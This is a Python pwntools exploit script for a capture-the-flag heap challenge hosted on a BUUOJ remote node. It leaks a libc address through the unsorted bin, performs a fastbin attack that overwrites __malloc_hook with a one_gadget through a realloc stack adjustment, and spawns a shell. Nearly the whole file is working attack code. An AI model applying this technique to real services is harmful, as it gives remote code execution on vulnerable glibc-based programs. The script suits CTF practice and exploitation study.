1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from ckyan.pwn.my_script import *
local = 0
debug = 1
binary = "./pwn_2.23"
if binary != "":
elf = ELF(binary)
if local:
p = process(binary)
lib = "/home/ckyan/ctf/myfile/libc/glibc-2.23/build/libc.so.6"
one_gadgets = [0x40f30, 0x40f35, 0xd3fc8]
else:
ip = "node4.buuoj.cn"
port = "26225"
p = remote(ip, port)
lib = "./libc-2.23.so"
one_gadgets = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
init(lib, binary, p)
context = init_context("tmux", debug)
if lib != "":
libc = ELF(lib)
if debug and local:
ggdb()
name = lambda obj : [name for name in globals() if globals()[name] is obj][0]
set_libc = lambda buf : set_libc_base_and_log(name(buf), buf)
lg = lambda buf : log_addr(name(buf), buf)
unsorted_bin_offset = 88
def cmd(c):
sla(b'5. exit\n', str(c))
def add(size, content):
cmd(1)
sla("The length of your content --->\n", str(size))
sa(b'Content --->\n', content)
def edit(idx, content, size = 0):
cmd(2)
sla(b'Index --->\n', str(idx))
if size == 0:
sla(b'The length of your content --->\n', str(len(content)))
else:
sla(b'The length of your content --->\n', str(size))
sa(b'Content --->\n', content)
def dele(idx):
cmd(3)
sla(b'Index --->\n', str(idx))
def show(idx):
cmd(4)
sla(b'Index --->\n', str(idx))
add(0x80, b'aaaa') # 0
add(0x10, b'aaaa') # 1
dele(0)
# D()
show(0)
__malloc_hook_addr = r7f() - unsorted_bin_offset - 0x10
lg(__malloc_hook_addr)
libc_base = __malloc_hook_addr - libc.sym['__malloc_hook']
libc = set_libc(libc_base)
add(0x80, b'aaaa') # 0
add(0x60, b'aaaa') # 2
add(0x60, b'bbbb') # 3
dele(2)
dele(3)
# 3->2
pad1 = b''
pad1 += p64(__malloc_hook_addr - 35)
edit(3, pad1)
# D()
add(0x60, b'aaaa') # 2
realloc_addr = libc.sym['realloc']
pad4 = b''
pad4 += b'a' * 11
pad4 += p64(libc.address + one_gadgets[2])
pad4 += p64(realloc_addr + 13) # 4 6 8 10 12 13
add(0x60, pad4)
# D()
cmd(1)
sla(b'The length of your content --->\n', "10")
sh()
|